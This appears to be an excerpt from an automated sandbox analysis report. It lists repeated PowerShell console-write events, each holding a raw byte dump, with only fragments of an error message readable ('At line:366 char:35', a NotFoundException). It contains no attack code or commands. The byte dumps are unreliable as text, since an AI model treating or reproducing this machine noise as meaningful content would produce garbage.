Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....`..............................}..v....8a......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....xf......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....0g..............................}..v.....g......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v....@k......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....k..............................}..v....xl......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v....P-[.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k......[.............................}..v......[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v....P5[.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k.....6[.............................}..v.....6[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;..................k....@_..............................}..v.....;[.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k.....<[.............................}..v.....=[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....0A[.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k.....A[.............................}..v....hB[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S..................k....@_..............................}..v.....G[.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k....@H[.............................}..v.....H[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._..................k....@_..............................}..v.....O[.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._...............Q..k....@P[.............................}..v.....P[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....T[.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k...............Q..k.....U[.............................}..v.....V[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w..................k....@_..............................}..v....X[[.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w...............Q..k.....\[.............................}..v.....\[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v.... `[.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....`[.............................}..v....Xa[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p.g.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(.g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v......g.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....x.g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......g.............................}..v....P.g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......g.............................}..v....P.g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v....p.g.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(.g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......g.............................}..v.... .g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v......g.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....h.g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p.s.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(.s.............................}..v......s.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p.s.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(.s.............................}..v......s.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v......s.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k......s.............................}..v....8.s.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....P.s.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k......s.............................}..v......s.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;..................k....@_..............................}..v......s.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....`.s.............................}..v......s.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....@_..............................}..v......s.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k....`.s.............................}..v......s.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v......t.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k......t.............................}..v....8.t.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._..................k....@_..............................}..v....x.t.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._...............Q..k....0.t.............................}..v......t.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k....... ..........k....@_..............................}..v....@.t.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k...............Q..k....................................}..v....x.t.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....4......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....4..............................}..v....85......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....<......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....<..............................}..v....8=......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....B......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....HC..............................}..v.....C......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v.....G......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....H..............................}..v.....I......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....8N......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....N..............................}..v....pO......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....8V......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....V..............................}..v....pW......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....[......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H\..............................}..v.....\......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....b......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....b..............................}..v....@c......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v.....f......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....g..............................}..v.....h......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.... .......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....X.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....p.......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.... .......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....................................}..v....X.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k....P...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S....... ..........k....@_..............................}..v....`.......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g..................k....@_..............................}..v....@.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g...............Q..k....................................}..v....x.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s..................k....@_..............................}..v....@.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s...............Q..k....................................}..v....x.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v.... .......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....X.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....x.......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....0...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....x.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....0...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....H.......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v............0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....H.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....;......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....<..............................}..v.....=......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....C......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....D..............................}..v.....E......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....`J......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....K..............................}..v.....K......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v.....O......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....hP..............................}..v.....P......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....V......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....V..............................}..v....@W......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....^......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....^..............................}..v....@_......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v....`c......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k.....d..............................}..v.....d......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v.....i......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k.....j..............................}..v.....k......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;....... ..........k....@_..............................}..v.....n......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....Xo..............................}..v.....o......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O..................k....@_..............................}..v....`.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[..................k....@_..............................}..v....`.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g..................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g...............Q..k....................................}..v....(.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....@.......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s...............Q..k....................................}..v....x.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....P...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....P...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....(.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....h.......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.... ...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v....0.......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....h.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....(.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....(.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v............0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....(.......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....`.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....(.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....`.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....0.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#....... ..........k....@_..............................}..v............0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....x...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....`8O.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....9O.............................}..v.....9O.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....+..................k....@_..............................}..v....`@O.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....+...............Q..k.....AO.............................}..v.....AO.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....7..................k....@_..............................}..v.....FO.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....7...............Q..k.....GO.............................}..v....(HO.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....C.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....@LO.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....C...............Q..k.....LO.............................}..v....xMO.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O..................k....@_..............................}..v.....RO.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O...............Q..k....PSO.............................}..v.....SO.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[..................k....@_..............................}..v.....ZO.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[...............Q..k....P[O.............................}..v.....[O.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v....._O.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g...............Q..k.....`O.............................}..v....(aO.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s..................k....@_..............................}..v....hfO.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s...............Q..k.... gO.............................}..v.....gO.....0................\.............................. Jump to behavior
